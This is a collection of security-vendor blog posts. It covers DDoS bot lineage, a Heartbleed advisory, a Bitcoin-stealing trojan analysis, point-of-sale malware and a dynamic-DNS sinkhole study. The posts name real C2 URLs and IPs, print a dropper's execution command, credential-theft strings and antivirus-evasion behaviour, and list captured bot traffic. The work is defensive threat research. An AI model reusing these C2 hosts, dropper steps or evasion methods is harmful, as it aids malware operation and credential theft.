  • As with shadowbot, uses shortened C2 phone home query string, “index.php?bot=”
  • Does not use base64 encoding, but does contain <cmd>, <cnfg>, and <tcp> tags
  • <cmd> is space delimited and still fairly basic
  • Implements “#” shortcut command
  • Implements tcpint command with <tcp> template. The template supports !randomchar, !random-ug, !random-lang, !random-encoding, !random-ac, !random-accept variables instead of $RANDOM$
  • Supports !random instead of $RANDOM$ in URI
  • Command set includes the more novel tcpint, browser, dirtjumper, slow-post, and tcp-oneconnect commands

Some sample MD5s and C2 URLs:

08f89357dc85b9155600a45e2a7a8e7b http://91.226.127.175/test1/index.php
1720907230f0d4e4b6cda96dd52322dc http://91.226.127.175/test1/index.php
ad8ac73540708d5cd6738a5d5f23a1d5 http://tryboots.ru/asdfgh/index.php

 

The last entry in this table is the sample referenced in SourceFire VRT’s “MALWARE-CNC Win.Trojan.Rhubot variant outbound connection” rule.

eclipsebot campaign

Third is the eclipsebot campaign, which was active from September 12, 2013 to November 4, 2013. Naming is based on the mutex. Sans some minor changes, this version is very similar to the eclipseddos analyzed in the beginning of the post. Notable features are:

  • Introduction of C2 domain hash check
  • Still uses shortened C2 query string, “index.php?bot=”
  • Introduction of rich <cmd> configuration via type, threads, timeout, target, script, etc. options
  • Has support for attack templates
  • Uses $RANDOM$ and $INTEGER$ variables

Some sample MD5s and C2 URLs:

ab6d483b2d6adf510e07395ceea5b980 http://blog32.ru/wp-admin/dark/index.php
b4e55f09ba681c10c20c50453c85652f http://blog32.ru/wp-admin/dark/index.php

 

eclipseddos campaign

The eclipseddos campaign has been active since November 28, 2013 VirusTotal time.

Some sample MD5s and C2 URLs:

c6cdd4876771f18efade928c50cf81fa http://milfsdeasing.com/par/index.php
548fbf4dde27e725c0a1544f61362b50 http://vsehnahuy.com/huy/index.php
0b450a92f29181065bc6601333f01b07 http:// test.crack-zone.ru/index.php

 

The last two samples in the above table are referenced in the Emerging Threats rule called “ETPRO TROJAN Trojan-Spy.Win32.Zbot.qgxi Checkin”. As with Microsoft’s AV detection, I couldn’t find any source material on why they decided to name it this way.

The Trojan.BlackRev Connection

Back in May 2013, I released a blog post titled “The Revolution Will Be Written in Delphi” that profiled a DDoS bot named Trojan.BlackRev. Since that post, there have been a few updates that provide for a preamble to a possible relationship between Eclipse and BlackRev. On June 5, 2013 the author of BlackRev, going by the handle “silence”, posted to an underground forum saying that he had sold the project:

blackrev_sold

A few months later on October 4, 2013 on another underground forum, somebody going by the handle “chef” leaked the BlackRev source code:

leak

While tracing one of the Eclipse C2 URLs from the shadowbox campaign:

http://aktualisieren-soft.ru/blizzer-kidala/index.php

I came across a C2 URL with a similar URI pathname:

http://aktualisieren-soft.ru/blizzer/panel/gate.php

The complete C2 protocol looks like this:

blackrev-eclipse-c2

This traffic came from a binary with an MD5 of 8da35de6083aa9aa3859ce65e0e816df and I believe this sample to be a “missing link” between the BlackRev and Eclipse code bases.

In addition to the timeline proximity and the feeling of “code sameness” while reversing engineering, some of the major pieces linking this variant to BlackRev are:

  • The query string used in the phone home
  • Comparison against the “|stop|” string
  • Bot command is pipe “|” delimited
  • Launches the same “bot killer” code in a thread
  • Launches the same “memory reduction” code in a thread
  • Uses a similar random character generator
  • HTTP header overlap in some of the attacks
  • Names a command “antiddos”, which is fairly novel

The major pieces linking it to Eclipse (shadowbot specifically) are:

  • Shared C2 infrastructure
  • HTTP header overlap in the C2 phone home
  • Use of XML-like tags in the phone home response
  • Names a command “nginx”, which is a fairly novel
  • Eclipse variants also contain the same bot killer, memory reduction, and similar random character generation code
  • Name overlap in some of the attacks
  • HTTP header overlap in some of the attacks

With silence’s claim of selling the project and the leak of the source code to the public, it is unclear how or if the threat actors behind the Eclipse and BlackRev campaigns are related. I do feel strongly though that Eclipse is a descendant of the BlackRev code base.

Conclusion

This post has been an analysis of the Trojan.Eclipse family of DDoS bots. This malware is interesting because it has a fairly rich configuration mechanism, some novel attack types, and a nice development trail leading back to the either the Trojan.BlackRev code leak or sale of the project by the author.

ASERT is just ramping up attack monitoring of this family. So far we’ve seen a handful of attacks on a consumer complaint website, a venture capital company, a forum for a Russian town, and a rating site for Russian apartment repairs. Monitoring of the attacks and family continue.

The Heartburn Over Heartbleed: OpenSSL Memory Leak Burns Slowly

By: Arbor Networks -

Marc Eisenbarth, Alison Goodrich, Roland Dobbins, Curt Wilson

Background
A very serious vulnerability present in OpenSSL 1.0.1 for two years has been disclosed (CVE-2014-0160). This “Heartbleed” vulnerability allows an attacker to reveal up to 64kb of memory to a connected client or server. This buffer-over-read vulnerability can be used in rapid succession to exfiltration larger sections of memory, potentially exposing private keys, usernames and passwords, cookies, session tokens, email, or any other data that resides in the affected memory region. This flaw does not affect versions of OpenSSL prior to 1.0.1.  This is an extremely serious situation, which highlights the manual nature of the tasks required to secure critical Internet services such as basic encryption and privacy protection.

As the vulnerability has been present for over two years, many modern operating systems and applications have deployed vulnerable versions of OpenSSL. OpenSSL is the default cryptographic library for Apache and nginx Web server applications, which together account for an estimated two-thirds of all Web servers. OpenSSL is also used in a variety of operating systems, including BSD variants such as FreeBSD, and Linux distributions such as Ubuntu, CENTOS, Fedora and more. Other networking gear such as load-balancers, reverse proxies, VPN concentrators, and various types of embedded devices are also potentially vulnerable if they rely on OpenSSL, which many do. Additionally, since the vulnerability’s disclosure, several high-profile sites such as Yahoo Mail, Lastpass, and the main FBI site have reportedly leaked information. Others have discussed the impact on underground economy crime forums, which were reportedly vulnerable to the matter and were attacked.

A key lesson is that OpenSSL, which is a vital component of the confidentiality and integrity of uncounted systems, applications and sites across the Internet, is an underfunded, volunteer-run project, which is desperately in need of major sponsorship and attendant allocation of resources.

Mitigation
Anyone running OpenSSL on a server should upgrade to version 1.0.1g. For earlier versions, re-compiling with the OPENSSL_NO_HEARTBEATS flag enabled will mitigate this vulnerability. For OpenSSL 1.0.2, the vulnerability will be fixed in 1.0.2-beta2. In terms of remediation, there’s a huge amount of work that must be done, not only for servers, but also for load-balancers, reverse proxies, VPN concentrators, various types of embedded devices, etc.  Applications which were statically compiled against vulnerable versions of the underlying OpenSSL libraries must be re-complied; private keys must be invalidated, re-generated, and re-issued; certificates must be invalidated, re-generated, and re-issued – and there are a whole host of problems and operational challenges associated with these vital procedures. Some systems may be difficult to patch, so network access control restrictions or the deployment of non-vulnerable proxies may be considered where possible to reduce the attack surface.

Exploitation
In most cases, exploitation of this vulnerability leaves no sign in server logs, making it difficult for organizations to know if they have been compromised. In addition, even after applying the OpenSSL patch, private keys, passwords, authentication credentials or any other data that was stored in heap memory used by OpenSSL may have already been compromised by attackers, potentially going as far back as two years. Of significant concern is the compromise of private key material, and one security organization reported that they were able to obtain this material during testing. Others reported difficulty in obtaining certificate material but were able to discover significant amounts of other sensitive data. Considering how easy it is for attackers to hammer this vulnerability over and over again in a very quick sequence, the amount of memory being disclosed can be quite substantial. Memory contents will vary depending on program state and controlling what is returned and what position in memory the contents are read from is much like a game of roulette.

Risk to Private Key Material
Security researchers in a Twitter exchange starting on April 8 2014 indicate that private keys have been extracted in testing scenarios, and other researchers suggest that attacking the servers during or just after log rotation and restart scripts run could expose private key material. This allegation has not been tested by ASERT.

For further details, please see the Twitter thread at https://twitter.com/1njected/status/453781230593769472

image002

Incident Response and Attack Tools
While there has been some call to avoid over-reaction, organizations should strongly consider revoking and reissue certificates and private keys; otherwise, attackers can continue to use private keys they may have obtained to impersonate Websites and/or launch man-in-the-middle attacks. Users should change usernames and passwords as well, but should not enter login credentials on Websites with vulnerable OpenSSL deployments. To do so could invite attackers to compromise both the old and new credentials if they were exposed in memory.

Many tools have been made available to test for the vulnerability and these same tools are available for attackers to use as well. It is also reasonable to consider that the password reuse problem will again cause additional suffering, because the same passwords shared across multiple systems create an extension of attack surface. A shared password that provides access to a sensitive system, or to an e-mail account used for password resets, can be all that an attacker needs to infiltrate an organizations defenses along multiple fronts.

Multiple proof-of-concept exploits have already been published, and a Metasploit module has been published. Attackers of all shapes and sizes have already started using these tools or are developing their own to target vulnerable OpenSSL servers. There have been reports that scanning for vulnerable OpenSSL servers began before the disclosure of the bug was made public, although other reports suggest that these scans may not have been specifically targeting the Heartbleed vulnerability.

ATLAS Indicates Scanning Activity
ASERT has observed an increase in scanning activity on tcp/443 from our darknet monitoring infrastructure, over the past several days, most notably from Chinese IP addresses (Figure 1, below). Two IP addresses (220.181.158.174 and 183.63.86.154) observed scanning tcp/443 have been blacklisted by Spamhaus for exploit activity. Scans from Chinese sources are predominately coming from AS4143 (CHINANET-BACKBONE) and AS23724 (CHINANET-IDC-BJ-AP).

Figure 1:       TCP/443 scans, Tuesday – Wednesday (April 8-9)

image003

image005

Attacks observed by ASERT decreased by Thursday as of this report writing. China still accounted for the largest percentage of detected scan activity:

Figure 2:       TCP/443 scans, Thursday (April 10)

image007

image010

Pravail Security Analytics Detection Capabilities

Arbors Pravail Security Analytics system provides detection for this vulnerability using the following rules:

2018375 ­ ET CURRENT_EVENTS TLS HeartBeat Request (Server Intiated)

2018376 ­ ET CURRENT_EVENTS TLS HeartBeat Request (Client Intiated)

2018377 ­ ET CURRENT_EVENTS Possible OpenSSL HeartBleed Large HeartBeat
Response (Client Init Vuln Server)

2018378 ­ ET CURRENT_EVENTS Possible OpenSSL HeartBleed Large HeartBeat
Response (Server Init Vuln Client)

Examples of detection capabilities are reproduced below.

 

Heartbleed detection tool screenshot

Heartbleed detection tool screenshot

 

Analysis of Historical Packet Captures Using New Indicators
In the event of this, and other security threats that are highly emergent, organizations may wish to consider implementing analysis capabilities on archived packet captures in order to detect first signs of attack activity. Granular analysis using fresh indicators can help pinpoint where and when a targeted attack (or a commodity malware attack, for that matter) may have first entered the network, or when such attackers may have exfiltrated data using a technique that was not yet being detected on the wire during the time of the initial attack and infiltration. The capabilities of Pravail Security Analytics will give organizations the means to accomplish such an analysis. A free account is available at https://www.pravail.com/ and rest assured that this site is using the latest non-vulnerable OpenSSl version.

Longer-Term Implications and Lessons Learned
Serious questions have been raised regarding the notification process surrounding this vulnerability.  The operational community at large have voiced serious disapproval surrounding the early notification of a single content delivery network (CDN) provider, while operating system vendors and distribution providers, not to mention the governmental and financial sectors, were left in the dark and discovered this issue only after it was publicly disclosed via a marketing-related weblog post by the CDN vendor in question.  It has been suggested that the responsible disclosure best practices developed and broadly adopted by the industry over the last decade were in fact bypassed in this case, and concerns have been voiced regarding the propriety and integrity of the disclosure process in this instance.

Recent indications that a significant number of client applications may be utilizing vulnerable versions of OpenSSL as well has broad implications, given the propensity of non-specialist users to ignore software updates and to continue unheedingly running older versions of code.

Furthermore, only ~6% of TLS-enabled Websites (and an undetermined, but most probably even-smaller percentage of other types of systems) make use of Perfect Forward Secrecy (PFS). This configurable option ensures that if an issue of this nature arises, previously encrypted traffic retained in packet captures isn’t susceptible to retrospective cryptanalysis.

Without PFS, there are no automated safeguards that can ameliorate these issues, once a vulnerability of this nature has been exposed.  Many operators and users may not realize that if attackers captured packets of encrypted traffic in the past from vulnerable services/applications which weren’t configured with PFS – i.e., the overwhelming majority of such systems – and have retained those captured packets, they’ve the opportunity now to use analysis tools to replay those packets and decrypt the Internet traffic contained in those packets. This means that attackers can potentially unearth their credentials, intellectual property, personal financial information, etc. with access to previously captured packet-dumps.

The ability for an attacker to decrypt packet capture archives requires that the attacker has obtained the private keys used to encrypt that traffic. As recent research shows, this is not a theoretical vulnerability – private key material has been compromised in a lab environment and therefore we must assume that attackers have at least the same, if not more substantial capabilities.

The ‘Heartbleed’ vulnerability may well result in an underground market in ‘vintage’ packet captures – i.e., packet captures performed after the date this vulnerability was introduced into OpenSSL, and prior to some date in the future after which it is presumed that the most ‘interesting’ servers, services, applications, and devices have been remediated.

This incident has the potential to evolve into a massive 21st-Century, criminalized, Internet-wide version of the Venona Project, targeting the entire population of Internet users who had the ill fortune to unknowingly make use of encrypted applications or services running vulnerable versions of OpenSSL. This highlights the paradox of generalized cryptographic systems in use over the Internet today.

While the level of complexity required to correctly design and implement cryptosystems means that in most situations, developers should utilize well-known cryptographic utilities and libraries such as OpenSSL, the dangers of a cryptographic near-monoculture have been graphically demonstrated by the still-evolving Heartbleed saga.  Further complicating the situation is the uncomfortable fact that enterprises, governments, and individuals have been reaping the benefits of the work of the volunteer OpenSSL development team without contributing the minimal amounts time, effort, and resources to ensure that this vital pillar of integrity and confidentiality receives the necessary investment required to guarantee its continued refinement and validation.

This is an untenable situation, and it is clear that the current development model for OpenSSL is unsustainable in the modern era of widespread eavesdropping and rapid exploitation of vulnerabilities by malefactors of all stripes. Information on how to support the OpenSSl effort can be found here: https://www.openssl.org/support/

Heartbleed and Availability
While Heartbleed is a direct threat to confidentiality, there are also potential implications for availability.

In some cases, attackers seeking exploitable hosts may scan and/or try to exploit this vulnerability so aggressively that they inadvertently DoS the very hosts they’re seeking to compromise. Organizations should be cognizant of this threat and ensure that the appropriate availability protections are in place so that their systems can be defended against both deliberate and inadvertent DDoS attacks.

It should also be noted that initial experimentation seems to indicate that it’s easiest for attackers to extract the private keys from vulnerable OpenSSL-enabled applications and services, using the least amount of exploit traffic, immediately after they have been started.  Accordingly, organizations should be prepared to defend against DDoS attacks intended to cause state exhaustion and service unavailability for SSL-enabled servers, load-balancers, reverse proxies, VPN concentrators, etc.  The purpose of such DDoS attacks would be to force targeted organizations to re-start these services in order to recover from the DDoS attacks, thus providing the attackers with a greater chance of capturing leaked private keys.


References
http://www.openssl.org/news/vulnerabilities.html#2014-0160
http://heartbleed.com
http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html
http://news.netcraft.com/archives/2014/04/02/april-2014-web-server-survey.html
http://threatpost.com/seriousness-of-openssl-heartbleed-bug-sets-in/105309
http://arstechnica.com/security/2014/04/critical-crypto-bug-exposes-yahoo-mail-passwords-russian-roulette-style/
https://www.openssl.org/news/secadv_20140407.txt
https://isc.sans.edu/diary/Heartbleed+vendor+notifications/17929
http://possible.lv/tools/hb/
http://filippo.io/Heartbleed/
https://zmap.io/heartbleed/
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
https://gist.github.com/sh1n0b1/10100394
http://www.seacat.mobi/blog/heartbleed Note: This event may have been a false positive caused by ErrataSec’s masscan software (http://blog.erratasec.com/2014/04/no-we-werent-scanning-for-hearbleed.html)
http://arstechnica.com/security/2014/04/heartbleed-vulnerability-may-have-been-exploited-months-before-patch/
https://twitter.com/1njected/status/453781230593769472

Venona Project: http://en.wikipedia.org/wiki/Venona>
PFS: https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-openssl-for-forward-secrecy

Bitcoin Alarm – Bitcoin stealing spam

By: Kenny MacDermid -

The rise in Bitcoin values seems to have caused an equal increase of Bitcoin spam as malware authors attempt to make money off the many new market participants. One site that was spammed to me three times in one day is bitcoin-alarm.net. I ignored it the first two times, but they must have really wanted me to look at it, so who am I not to oblidge.

Bitcoin Alarm Logo

The site promises a tool to notify you of market changes by SMS, without ever mentioning any nefarious behaviour. YouTube videos teach you what Bitcoin is, and how to install this free tool.  They even provide a link so you can donate to the author, although it appears no one has chosen to do so. This I have to download.

BitcoinAlarm Icon

The download BitcoinAlarm.exe (MD5: edfa12d4a454b0eb786bbe92050ab88a) had just 1 hit on VirusTotal when I first scanned it (from Kaspersky). Is it a false positive on a nice free tool? Lets dig deeper.

The download is an installer. A quick strings didn’t turn up anything interesting, so lets try binwalk:

Binwalk Results - a rar archive
I carved out this RAR archive to see what it contains:

dd if=BitcoinAlarm.exe.virus of=out.rar bs=1 skip=756224
mkdir ext
unrar x out.rar ext/

Unrar results: an SFX script and 5 files.

There’s an SFX script run, lets see what it does:

CreateObject("WScript.Shell").Exec "winupdate.exe 5943564.IFW"

cat 7246235.vbe

A quick check of winupdate.exe with VirusTotal shows that it’s the valid (and non-malicious) AutoIt executable. AutoIt is a great little scripting language for Windows, it’s especially useful for automating GUI related tasks. So if winupdate.exe is AutoIt that would make 5943564.IFW an AutoIt script. It looks like it was obfuscated somewhat though:

a bunch of comments

head 5943564.IFW

Run it through

sed -e '/^;[0-9]/d'

to clean up the garbage and we end up with this script. It starts by checking if Avast is running and if so it sleeps for 20 seconds. I guess this is long enough for Avast to get bored and go look at something else:

if Avast, sleep for 20 seconds

Well, that’s certainly not a good sign. It’s a pretty solid chance that if software is checking for an antivirus engine that it’s up to no good. A scan of the rest of the file contains other interesting methods like “disable_uac”, “anti_hook”, “persistence”, “botkiller”, “downloader”, “disable_syste_restore”. It’s starting to look like Kaspersky was right, congrats on being the 1/49 to detect this.

I see a lot of calls to IniRead(), and they’re all reading 65901.PPZ. It looks like this is the configuration file. In contains:

[6404000]
6662859=9455413
[2244034]
6224525=3244993
[3206254]
5598349=4588436
[5378250]
6296134=4064234
[1109091]
1109091=asvep

Matching these to the script we see find the sections are:

# 6404000 == disable_uac()
# 2244034 == AdlibRegister("anti_hook", 500)
# 3206254 == AdlibRegister("persistence", 500)
# 5378250 == startup()
# 1109021 == $sKey

This crypto key is used in Main to decrypt and run the file 20070.RQT:

decrypt and run 20070.RQT with cryptkey

The easiest way to decrypt this file was to simply let the script do the work. There’s a lot of code outside of functions though, so care has to be taken to remove everything non-crypto related. Remove the _RunPE() and replace it with

FileWrite($uniscriptdir & "DECRYPTED", $sArquive)

The decrypted file had 30/48 hits of VirusTotal when I scanned it (MD5: 224c73f8172123e5ddca2302425664a6). It’s called NetWiredRC and is a remote access trojan made for stealing login information, and likely in this case being used to steal Bitcoins. It connect to bitcoins.dd-dns.de on port 3360.

Some choice credential related strings from the decrypted malware:

%sThunderbirdprofiles.ini
select *  from moz_logins
%s.purpleaccounts.xml
SoftwareMicrosoftInternet ExplorerIntelliFormsStorage2

This free utility is nothing more than malware with very low detection rate being spammed to anyone that might have a Bitcoin sitting around. When I checked the domain with urlvoid it had zero ‘bad’ reports and was not blacklisted. I’ve since submitted the domain to multiple scanners and it’s now detected by Scumware.

On a recheck BitcoinAlarm.exe’s detection is up to 14 of 49 scanners, and the download link appears to return 404. bitcoins.dd-dns.de is no longer answering on port 3360.

Never before has it been so easy to leave cash accessible from the Internet, so expect more malware to make off with your Bitcoin wallet. Bitcoins that are not in use should be moved off into cold storage, or donated to the human fund at 136K8a5Mb8uDguFb7RnoXz7gzBSe2xaEED (ahem, worth a shot right?).

Happy Holidays: Point of Sale Malware Campaigns Targeting Credit and Debit Cards

By: cwilson -

Inside Recent Point-of-Sale Malware Campaign Activities

Curt Wilson, Dave Loftus, Matt Bing

An active Point of Sale (PoS) compromise campaign designed to steal credit and debit card data using the Dexter and Project Hook malware has been detected. Indicators of compromise will be provided for mitigation and detection purposes. Prior to the publication of this Threat Intelligence document (embedded at the end of this post), members of the FS-ISAC, major Credit Card vendors and law enforcement were notified.

It appears that there are at least three distinct versions of Dexter:

  1. Stardust (looks to be an older version, perhaps version 1)
  2. Millenium (note spelling)
  3. Revelation (two observed malware samples; has the capability to use FTP to exfiltrate data)

In early November 2013, ASERT researchers discovered two servers hosting Dexter and other POS malware to include Project Hook.  The Dexter campaign looks more active, especially in the Eastern Hemisphere and therefore shall be the main focus herein. Dexter, first documented by Seculert in December 2012, is a Windows-based malware used to steal credit card data from PoS systems. The exact method of compromise is not currently known, however PoS systems suffer from the same security challenges that any other Windows-based deployment does. Network and host-based vulnerabilities (such as default or weak credentials accessible over Remote Desktop and open wireless networks that include a PoS machine), misuse, social engineering and physical access are likely candidates for infection. Additionally, potential brittleness and obvious criticality of PoS systems may be a factor in the reportedly slow patch deployment process on PoS machines, which increases risk. Smaller businesses are likely an easier target due to reduced security. While the attackers may receive less card data from smaller retailers, infections may be more numerous and last longer due to the lack of security reporting and security staff in such environments.

Figure 1: Dexter (Purple) and Project Hook (Orange) infections in the Eastern Hemisphere

Dexter and Project Hook infections in the eastern hemisphere

Figure 2: Dexter (Purple) and Project Hook (Orange) infections in the western hemisphere

Screen Shot 2013-12-03 at 1.22.00 AM

For the full document to include a list of various compromise indicators and information about the back-end infrastructure, please download the full public report -

Dexter and Project Hook Break the Bank

 

Scavenging Connections On Dynamic-IP Networks Redux

By: Dennis Schwarz -

While a lot has changed since Seth McGann’s 1998 Phrack magazine article “Scavenging Connections On Dynamic-IP Networks,” it’s not hard to extrapolate his idea into modern day malware sinkholes. In this blog post we would like to share some of the connections scavenged over a short period from the No-IP dynamic DNS network–a network we run into time and time again in our malware analysis.

Malware campaigns have not been shy about using these and other dynamic DNS hostnames for their command & control (C&C) servers. With the price (free), dynamic nature, and anonymity (throw-away email addresses and proxies) it’s not hard to see the appeal. Using available APIs, malware authors are building in support directly into their bot builder kits as well.

no-ip

 No-IP support built-in to the Xtreme Remote Access Trojan (RAT)

Querying our malware zoo for the main free tier domain (no-ip.org) returns almost 6500 unique subdomains. As of this writing, about 4200 (64%) of these no longer resolve and are expired. As a proof of concept, we re-registered 100 of these sub-domains (see Appendix A) and in 4 groups of 25 sinkholed them for 3-4 days at a time. We used a simple sinkhole that redirected all TCP ports minus SSH (22) to a Python daemon that limited the connection time to 5 seconds and logged the first 2048 received bytes.

Disregarding general Internet background noise (hi critical.io, proxy scanners, and SQL Slammer), we received connections from around 6650 unique IPs distributed across the globe.

map

Map of source IPs connecting to a two-week sinkhole of 100 no-ip.org domains

Considering the low number of domains that were registered, many surprises and concerns cropped up. The sheer number of unique sources, geographical distribution, amount of traffic generated by abandoned bots (close to 7 GB of PCAP data), and the variety of malware families was interesting and insightful. There was good representation of both ASCII and binary blob communications, but the latter was more prevalent. The number of HTTP based phone homes was also lower than expected. Further analysis reveals the following interesting elements.

Xtreme RAT

There were two types of phone homes. The first includes a version string and we saw 2.9, 3.1, 3.2, and 3.5 Private (as of this writing, 3.6 is the latest publicly available). The second type of phone home message includes the password used in the campaign and we saw 123123, 87080060, and 1234567890 (default).

Type 1 (130 unique IPs)

myversion|2.9

Type 2 (57 unique IPs)

GET /1234567890.functions HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; 
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center 
PC 6.0; InfoPath.2; .NET4.0C)
Host: XXX.no-ip.org:8089
Connection: Keep-Alive
Cache-Control: no-cache

DarkComet

Two types of phone homes were seen.

Type 1 (54 unique IPs)

D573BA5A4EFFC3FB629308

Type 2 (215 unique IPs)

KEEPALIVE8404156

Various IRC Bots (325 unique IPs)

As expected, IRC based bots were well represented. Some sample nicknames:

  • [iRooT-XP-CRI]702619
  • ESP|00|XP|SP3|8254484
  • {00-ITA-2K-ASP–6618}
  • ScAry0518258
  • pwned[00000]

Turkojan (75 unique IPs)

ams

CIA Trojan (3 unique IPs)

details;6333;Administrator;HOME;name;CIA 1.3;No;name

GhostHeart2 (2 unique IPs)

Starting at offset 13, zlib chunk.

00000000  47 68 30 73 74 61 00 00  00 b0 02 00 00 78 9c 4b Gh0sta.. .....x.K
00000010  63 60 60 98 03 c4 ac 40  cc 04 c4 e7 f8 20 f4 40 c``....@ ..... .@
00000020  02 0b 28 2d c4 c8 cc f0  81 0b e2 9e 03 2b 18 78 ..(-.... .....+.x
00000030  f2 72 72 93 49 35 ab 9c  91 81 e1 1e 2f 03 c3 17 .rr.I5.. ..../...
00000040  20 6d 64 60 68 84 2e 6f  7c e6 0d a5 ce 1d 05 54  md`h..o |......T
00000050  04 47 d6 9c 38 bf fd da  f5 97 b8 e4 01 82 d8 11 .G..8... ........
00000060  ac
.

MyRat (16 unique IPs)

Starting at offset 13, looks like a zlib chunk.

00000000  4d 79 52 61 74 b8 00 00  00 24 01 00 00 78 9c 4b MyRat... .$...x.K
00000010  8b 33 61 9a c3 c0 c0 c0  0a c4 8c 40 ac c1 c5 c0 .3a..... ...@....
00000020  c0 04 a4 83 53 8b ca 32  93 53 15 02 12 93 b3 15 ....S..2 .S......
00000030  8c 19 18 ae c4 98 30 fd  60 40 00 90 da 1b 46 4f ......0. `@....FO
00000040  18 5a 7d 67 17 86 c4 9a  80 b4 30 74 4a cd 2f 04 .Z}g.... ..0tJ./.
00000050  a9 b1 b0 16 66 c8 60 80  e8 61 66 80 98 07 52 cf ....f.`. .af...R.
00000060  06 c4 02 50 8c 02 14 a0  18 aa ee 25 50 13 33 98 ...P.... ...%P.3.
00000070  c3 c8 70 60 05 a3 e9 32  a0 e0 22 a8 bb 18 8a 0b ..p`...2 ..".....
00000080  52 53 53 d0 0d c0 0e fe  b3 33 30 5c 04 ea cd ae RSS..... .30....
00000090  48 2d 4e ce 2f 4a 65 00  ba 6b 81 2a 44 6e 31 d0 H-N./Je. .k.*Dn1.
000000A0  df 30 3b 97 dd de 70 6a  49 f8 de d2 a5 2e fb be .0;...pj I.......
000000B0  63 33 07 00 3f 40 28 73                          c3..?@(s

YoyoDDoS (471 unique IPs)

0xb8 variant.

00000000  79 6d 74 d8 68 90 95 8e  8f 8d d0 84 8d d1 d8 c1 ymt.h... ........
00000010  c6 c5 c8 d8 69 85 99 94  cd 7b 8f 8a 95 d8 68 8a ....i... .{....h.
00000020  8f 9b 95 8b 8b 8f 8a b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000030  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000040  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000050  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000060  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000070  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
00000080  cb cb ca c7 6d 7a b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ....mz.. ........
00000090  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
000000A0  67 91 8e d8 60 68 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 g...`h.. ........
000000B0  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
000000C0  e8 59 3c 56 3c 56 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 .Y<V
000000D0  b8 b8 b8 b8 b8 b8 b8 b8  b8 b8 b8 b8 b8 b8 b8 b8 ........ ........
000000E0  e1 b7 b8 b8                                      ....

Trojan.DDoser (5 unique IPs)

Base64 encoded.

*SNEW*/2||*||RGVmYXVsdA==||*||Uk8=||*||NC4y||*||WFAgeDg2||*||name||*|
|QVVUSExPQURFUkRFRkFVTFQ=||*||

Spy-Net RAT (19 unique IPs)

Base64 encoded.

hZGVPsqmMkI|

Unknown #1 (2 unique IPs)

104|OnConnect|United States|me|name - me|172.16.3.44|Not Detected|4.0.4 Update 2
|United States|OnConnect|

Unknown #2 (2 unique IPs)
Two version numbers were seen: 4.0 and 6.0.

LOGIN|Slovakia#SK|name and something like a password hash|#!#|pixel|name|name-
PC|Windows 7|Connection Established|Intel(R) Pentium(R) M processor 1600MHz 1598MHz
|0,5|Not Available|Not Available||140|4.0|123456

Unknown #3 (16 unique IPs)

Two version numbers were seen: 0.7 and 1.2.

02|Dell@DELL-name|XP/Vista|TR|1700|N|t+1.2|1.2|-|

This analysis of a small sample of No-IP domains and their associated malware gives us a tiny peek into some, possibly forgotten, attack campaigns and how active they can be. While No-IP and other dynamic DNS hostnames shouldn’t automatically be assumed to be bad, we feel they warrant further scrutiny and attention if seen on your networks.

It should come as no surprise  that there is a lot of malware out there, in all sorts of shapes and sizes. Sinkholing is just another tool in the malware researcher’s toolbox for the endless task of classifying, analyzing, and mitigating the shadier half of the Internet. In the meantime, the ASERT team work continues on the sinkholing project. Goals include expanding the scope, automating collection and classification as much as possible, and, of course, integrating the data into the ATLAS portal.

********

 Appendix 1: Domains 

Between Nov 6-8:sparkles.no-ip.orgloucoservegame.no-ip.orgwinchesterhacker.no-ip.orgmoof1.no-ip.orgtotty46.no-ip.orgmmsalti.no-ip.orgmaradona.no-ip.org

chmsou.no-ip.org

notiweb.no-ip.org

diddy69.no-ip.org

juventus-nando.no-ip.org

hoolaco.no-ip.org

by-brunix.no-ip.org

bolinha130.no-ip.org

rathacking786.no-ip.org

123boof.no-ip.org

gabrielzinho.no-ip.org

warez-kw.no-ip.org

demone2011.no-ip.org

markinyourdark.no-ip.org

amine69.no-ip.org

turkoloko.no-ip.org

bilal182010.no-ip.org

tucanoquebrado.no-ip.org

 

Between Nov 9 – 12

ibraaaaaa.no-ip.org

darthlord1.no-ip.org

aljaybol.no-ip.org

aidsvlek.no-ip.org

nomanvirus.no-ip.org

xtrema.no-ip.org

nonozin.no-ip.org

lance11111.no-ip.org

y2c.no-ip.org

pequenoserver.no-ip.org

bcsmetall.no-ip.org

deus-chess25.no-ip.org

memea7.no-ip.org

hermogenes.no-ip.org

anonymousbs2.no-ip.org

wellcomemagila.no-ip.org

wolver.no-ip.org

romerohacker.no-ip.org

difusao.no-ip.org

6thekey2.no-ip.org

180291.no-ip.org

hackerdr.no-ip.org

revoli.no-ip.org

anon1.no-ip.org

xupeta.no-ip.org

 

 

Between Nov 13 – 15:k4b000.no-ip.orgadelson3x.no-ip.orgmuerteya.no-ip.orgbnbtx.no-ip.org6shades16.no-ip.orgchivas.no-ip.orgmarcus3.no-ip.org

ilkkan.no-ip.org

desgarrada.no-ip.org

axf.no-ip.org

darkki123.no-ip.org

avisos.no-ip.org

bobharis.no-ip.org

ooooffff1.no-ip.org

tratt1.no-ip.org

evilsniper.no-ip.org

cust0.no-ip.org

lavitaebella.no-ip.org

es-imvu.no-ip.org

merda2.no-ip.org

